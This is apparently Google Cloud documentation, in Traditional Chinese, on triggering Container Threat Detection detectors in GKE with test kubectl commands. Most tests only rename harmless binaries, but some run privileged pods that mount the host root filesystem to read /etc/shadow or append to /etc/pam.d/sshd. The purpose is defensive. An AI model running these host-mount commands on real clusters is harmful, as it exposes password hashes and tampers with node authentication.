本頁說明如何刻意觸發偵測器並檢查結果,確認 Container Threat Detection 正常運作。如要查看 Container Threat Detection 發現項目,必須在 Security Command Center 的「服務」設定中啟用 Container Threat Detection。
事前準備
如要偵測容器的潛在威脅,請確保叢集使用受支援的 Google Kubernetes Engine (GKE) 版本。詳情請參閱「使用支援的 GKE 版本」。如要在 ARM 上測試威脅偵測功能,您需要叢集,且該叢集必須有包含 ARM 執行個體的節點集區。詳情請參閱「GKE 中的 Arm 工作負載」。
檢查偵測器狀態
您只能測試已啟用的偵測器。測試偵測器前,請先確認已啟用偵測器。
控制台
如果已啟用 Container Threat Detection 服務,您可以設定個別模組的啟用狀態。
- 前往 Google Cloud 控制台的「Modules」頁面,然後選取「Container Threat Detection」(容器威脅偵測)。
- 選取您的機構或專案。
- 在「模組」分頁的「狀態」欄中,選取要啟用或停用模組的目前狀態,然後選取下列其中一個選項:
- 啟用:啟用模組。
- 「停用」:停用模組。
gcloud
gcloud scc manage services describe
指令會取得 Security Command Center 服務或模組的狀態。
使用下列任何指令資料之前,請先替換以下項目:
-
RESOURCE_TYPE:要取得的資源類型 (organization、folder或project) -
RESOURCE_ID:要取得的機構、資料夾或專案的數字 ID。如果是專案,您也可以使用英數專案 ID。
執行
gcloud scc manage services describe
指令:
Linux、macOS 或 Cloud Shell
gcloud scc manage services describe container-threat-detection \ --RESOURCE_TYPE=RESOURCE_ID
Windows (PowerShell)
gcloud scc manage services describe container-threat-detection ` --RESOURCE_TYPE=RESOURCE_ID
Windows (cmd.exe)
gcloud scc manage services describe container-threat-detection ^ --RESOURCE_TYPE=RESOURCE_ID
您應該會收到類似以下的回覆。為簡潔起見,這個範例只顯示部分 Container Threat Detection 模組。
effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
effectiveEnablementState: ENABLED
ACCESS_SENSITIVE_FILES_ON_NODES:
effectiveEnablementState: DISABLED
ADDED_BINARY_EXECUTED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_LIBRARY_LOADED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_MALICIOUS_BINARY_EXECUTED:
effectiveEnablementState: ENABLED
ADDED_MALICIOUS_LIBRARY_LOADED:
effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'
REST
Security Command Center Management API 的 RESOURCE_TYPE.locations.securityCenterServices.get 方法會取得 Security Command Center 服務或模組的狀態。
使用任何要求資料之前,請先修改下列項目的值:
-
RESOURCE_TYPE:要取得的資源類型 (organizations、folders或projects)。 -
QUOTA_PROJECT:用於帳單和配額追蹤的專案 ID。 -
RESOURCE_ID:要取得的機構、資料夾或專案的數字 ID。如果是專案,您也可以使用英數專案 ID。
HTTP 方法和網址:
GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection
請展開以下其中一個選項,以傳送要求:
您應該會收到類似以下的回覆。為簡潔起見,這個範例只顯示部分 Container Threat Detection 模組。
{
"effectiveEnablementState": "ENABLED",
"intendedEnablementState": "ENABLED",
"modules": {
"ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
"effectiveEnablementState": "ENABLED"
},
"ACCESS_SENSITIVE_FILES_ON_NODES": {
"effectiveEnablementState": "DISABLED"
},
"ADDED_BINARY_EXECUTED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_LIBRARY_LOADED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_MALICIOUS_BINARY_EXECUTED": {
"effectiveEnablementState": "ENABLED"
},
"ADDED_MALICIOUS_LIBRARY_LOADED": {
"effectiveEnablementState": "ENABLED"
}
},
"name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
"updateTime": "2025-11-12T03:22:07Z"
}
啟用偵測器
如果偵測器已停用,但您想測試,請先啟用偵測器。
部分偵測器預設為停用。詳情請參閱「已停用的偵測器」。
控制台
如果已啟用 Container Threat Detection 服務,您可以設定個別模組的啟用狀態。
- 前往 Google Cloud 控制台的「Modules」頁面,然後選取「Container Threat Detection」(容器威脅偵測)。
- 選取您的機構或專案。
- 在「模組」分頁的「狀態」欄中,選取要啟用或停用模組的目前狀態,然後選取下列其中一個選項:
- 啟用:啟用模組。
- 「停用」:停用模組。
gcloud
gcloud scc manage services update
指令會更新 Security Command Center 服務或模組的狀態。
使用下列任何指令資料之前,請先替換以下項目:
-
RESOURCE_TYPE:要更新的資源類型 (organization、folder或project)。 -
RESOURCE_ID:要更新的機構、資料夾或專案的數字 ID。如果是專案,您也可以使用英數專案 ID。 -
MODULE_NAME:要啟用或停用的模組名稱。如需有效值,請參閱 Container Threat Detection 偵測器。
將下列內容儲存到名為 request.json 的檔案:
{ "MODULE_NAME": { "intendedEnablementState": "ENABLED" } }
執行
gcloud scc manage services update
指令:
Linux、macOS 或 Cloud Shell
gcloud scc manage services update container-threat-detection \ --RESOURCE_TYPE=RESOURCE_ID \ --module-config-file=request.json
Windows (PowerShell)
gcloud scc manage services update container-threat-detection ` --RESOURCE_TYPE=RESOURCE_ID ` --module-config-file=request.json
Windows (cmd.exe)
gcloud scc manage services update container-threat-detection ^ --RESOURCE_TYPE=RESOURCE_ID ^ --module-config-file=request.json
您應該會收到類似以下的回覆。為簡潔起見,這個範例只顯示部分 Container Threat Detection 模組。
effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
effectiveEnablementState: ENABLED
ACCESS_SENSITIVE_FILES_ON_NODES:
effectiveEnablementState: DISABLED
ADDED_BINARY_EXECUTED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_LIBRARY_LOADED:
effectiveEnablementState: DISABLED
intendedEnablementState: DISABLED
ADDED_MALICIOUS_BINARY_EXECUTED:
effectiveEnablementState: ENABLED
ADDED_MALICIOUS_LIBRARY_LOADED:
effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'
REST
Security Command Center Management API 的 RESOURCE_TYPE.locations.securityCenterServices.patch 方法會更新 Security Command Center 服務或模組的狀態。
使用任何要求資料之前,請先修改下列項目的值:
-
RESOURCE_TYPE:要更新的資源類型 (organizations、folders或projects)。 -
QUOTA_PROJECT:用於帳單和配額追蹤的專案 ID。 -
RESOURCE_ID:要更新的機構、資料夾或專案的數字 ID。如果是專案,您也可以使用英數專案 ID。 -
MODULE_NAME:要啟用或停用的模組名稱。如需有效值,請參閱 Container Threat Detection 偵測器。
HTTP 方法和網址:
PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules
JSON 要求主體:
{
"modules": {
"MODULE_NAME": {
"intendedEnablementState": "ENABLED"
}
}
}
請展開以下其中一個選項,以傳送要求:
您應該會收到類似以下的回覆。為簡潔起見,這個範例只顯示部分 Container Threat Detection 模組。
{
"effectiveEnablementState": "ENABLED",
"intendedEnablementState": "ENABLED",
"modules": {
"ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
"effectiveEnablementState": "ENABLED"
},
"ACCESS_SENSITIVE_FILES_ON_NODES": {
"effectiveEnablementState": "DISABLED"
},
"ADDED_BINARY_EXECUTED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_LIBRARY_LOADED": {
"effectiveEnablementState": "DISABLED",
"intendedEnablementState": "DISABLED"
},
"ADDED_MALICIOUS_BINARY_EXECUTED": {
"effectiveEnablementState": "ENABLED"
},
"ADDED_MALICIOUS_LIBRARY_LOADED": {
"effectiveEnablementState": "ENABLED"
}
},
"name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
"updateTime": "2025-11-12T03:22:07Z"
}
設定環境變數
如要測試偵測器,請使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中設定環境變數,方便執行指令。下列變數用於測試所有 Container Threat Detection 偵測器。
選取內含要測試容器的專案。
按一下「啟用 Cloud Shell」
。
在 Cloud Shell 中設定環境變數。
叢集所在的區域:
export ZONE=CLUSTER_ZONE容器所在的專案:
export PROJECT=PROJECT_ID叢集名稱:
export CLUSTER_NAME=CLUSTER_NAME
變數已設定完成。下列各節包含測試 Container Threat Detection 偵測器的操作說明。
已執行新增的二進位檔
如要觸發「可執行更多二進位檔」發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /bin/ls 複製到其他位置,然後執行該檔案。由於二進位檔副本並非原始容器映像檔的一部分,因此二進位檔的執行作業會出乎意料,即使該映像檔位於 Ubuntu 24.04 上,且容器應為不可變動。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放置並執行二進位檔:
x86 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"ARM 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
這項測試程序會建立「已執行的新增二進位檔」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center Premium 或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
為減少雜訊,首次建立容器時,Container Threat Detection 會暫時篩除「已執行的已新增二進位檔」發現項目。如要在設定容器時查看所有「已執行新增的二進位檔」結果,請在容器名稱或 Pod 名稱加上 ktd-test 前置字元,如範例所示。
已載入新增的資料庫
如要觸發「已載入新增的程式庫」發現項目,請在容器中放置程式庫,然後載入。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /lib/x86_64-linux-gnu/libc.so.6 複製到其他位置,然後使用 ld 載入。載入的程式庫並非預期,因為程式庫副本並非原始容器映像檔的一部分 (即使該映像檔位於 Ubuntu 24.04 上),且容器應為不可變動。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT放置程式庫,然後使用
ld載入:x86 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"ARM 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
這項測試程序會建立「已載入新增的程式庫」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,必須在組織層級啟用 Security Command Center 的進階或 Enterprise 方案。
為減少雜訊,首次建立容器時,Container Threat Detection 會暫時篩除「已載入新增的程式庫」發現項目。如要在設定容器時查看所有「已新增程式庫載入的結果」,請在容器名稱或 Pod 名稱加上 ktd-test 前置字元,如範例所示。
收藏:修改 pam.d (預先發布版)
如要觸發 pam.d 修改偵測,請修改主機的其中一個 PAM 相關檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後修改 /etc/pam.d/sshd。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行二進位檔,修改主機上其中一個 PAM 相關檔案。
x86 節點:
tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 pam.d 修改發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
命令與控制:執行透過管道傳送且經過編碼的程式碼
如要觸發 Command and Control: Piped Encoded Code Execution 發現項目,能夠執行程式碼的二進位檔 (例如 python) 必須將 base64 解碼指令管道化至執行作業。本範例使用最新的 Ubuntu 24.04 映像檔。它會使用 echo 將編碼字串傳送至 Hello World,並列印至 python 可執行檔。這種行為會標示為可疑,因為可能表示攻擊者試圖執行惡意指令碼。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT將 Base64 編碼的字串解碼並透過管道傳送至
python:x86 節點:
tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"ARM 節點:
tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
這項測試程序會建立Command and Control: Piped Encoded Code Execution發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
命令與控制:透過管道傳送且經過編碼的資料
如要觸發 Command and Control: Piped Encoded Download 發現項目,必須將可執行檔 (例如 curl) 透過管道傳送至 base64 解碼指令。本範例使用最新版的 Ubuntu 24.04 映像檔。這個指令會複製 /bin/echo 並重新命名為 curl,然後將模擬的 curl 呼叫管道化至 base64。這種行為會標示為可疑,因為這可能表示有人試圖下載及解碼惡意指令碼,供攻擊者日後使用。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行
curl呼叫並將其管道傳送至base64 -d:x86 節點:
tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"ARM 節點:
tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
這項測試程序會建立Command and Control: Piped Encoded Download發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
惡意中繼站:偵測到隱寫術工具
如要觸發 Command and Control: Steganography Tool Detected (預覽) 發現項目,具有與隱寫術工具一致的檔案操控功能的二進位檔必須在容器中執行。本範例使用最新的 Ubuntu 24.04 映像檔。並將其複製及重新命名為 steghide (或 stegano 等其他隱寫術工具)。這類行為會標示為可疑,因為可能表示有人嘗試準備容器來隱藏或擷取資料,可能用於惡意用途。/bin/ls
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行隱寫術工具二進位檔,例如
steghide:x86 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"ARM 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
這項測試程序會建立 Command and Control: Steganography Tool
Detected 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
憑證存取:存取節點中的敏感檔案 (預覽版)
如要觸發「存取機密檔案」偵測,請讀取主機的 /etc/shadow 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接到容器中,然後使用 cat 讀取 /etc/shadow。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行可讀取主機
/etc/shadow檔案的二進位檔。x86 節點:
tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發「存取機密檔案」發現項目,您可以在 Security Command Center 中查看該項目,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
憑證存取:尋找 Google Cloud 憑證
如要觸發 Credential Access: Find Google Cloud Credentials 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。這會複製 /bin/ls,並重新命名為 grep。接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,指出某種形式的 Google Cloud 憑證。這項動作會模仿嘗試尋找 Google Cloud 憑證時的行為,因此遭到標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"ARM 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
這項測試程序會建立Credential Access: Find Google Cloud Credentials發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要查看 Cloud Logging 中的發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
憑證存取權:偵察 GPG 金鑰
如要觸發 Credential Access: GPG Key Reconnaissance 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。並將其複製及重新命名為 find (或其他適用的搜尋公用程式,例如 grep)。/bin/ls接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,找出私密金鑰或密碼,或是含有密碼或密鑰的內容模式。這項動作會標示為可疑,因為這與嘗試尋找 GPG 安全金鑰時的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring.gpg"ARM 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
這項測試程序會建立Credential Access: GPG Key Reconnaissance發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
憑證存取權:搜尋私密金鑰或密碼
如要觸發 Credential Access: Search Private Keys or Passwords 發現項目,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。並將其複製及重新命名為 find (或其他適用的搜尋公用程式,例如 grep)。/bin/ls接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,找出私密金鑰或密碼,或是含有密碼或密鑰的內容模式。這項動作會模仿在容器化環境中嘗試尋找私密金鑰或密碼等機密資訊時的行為,因此系統會將其標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"ARM 節點:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
這項測試程序會建立 Credential Access: Search Private Keys or
Passwords 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:Base64 ELF 檔案指令列
如要觸發 Defense Evasion: Base64 ELF File Command Line 發現項目,程序必須有 做為引數,以及 f0VMRgIB 做為引數,後者是 ELF 的 Base64 編碼形式。base64本範例使用最新版 Ubuntu 24.04 映像檔。然後使用 -d 和 f0VMRgIB 引數執行 base64。這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
這項測試程序會建立兩項發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Defense Evasion: Base64 ELF File Command Line只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。由於初始 bash -c 指令和 base64 -d 指令的執行作業都符合發現項目條件,因此系統會建立兩個發現項目。
規避防禦措施:執行 Base64 編碼的 Python 指令碼
如要觸發 Defense Evasion: Base64 Encoded Python Script Executed 發現項目,程序必須有 echo 或 base64 做為引數,以及 aW1wb3J0IH 做為引數,這是 python -c 的 Base64 編碼形式。本範例使用最新版 Ubuntu 24.04 映像檔。然後使用 aW1wb3J0IH 引數執行 echo。
這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行搜尋工具二進位檔,例如
find:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"ARM 節點:
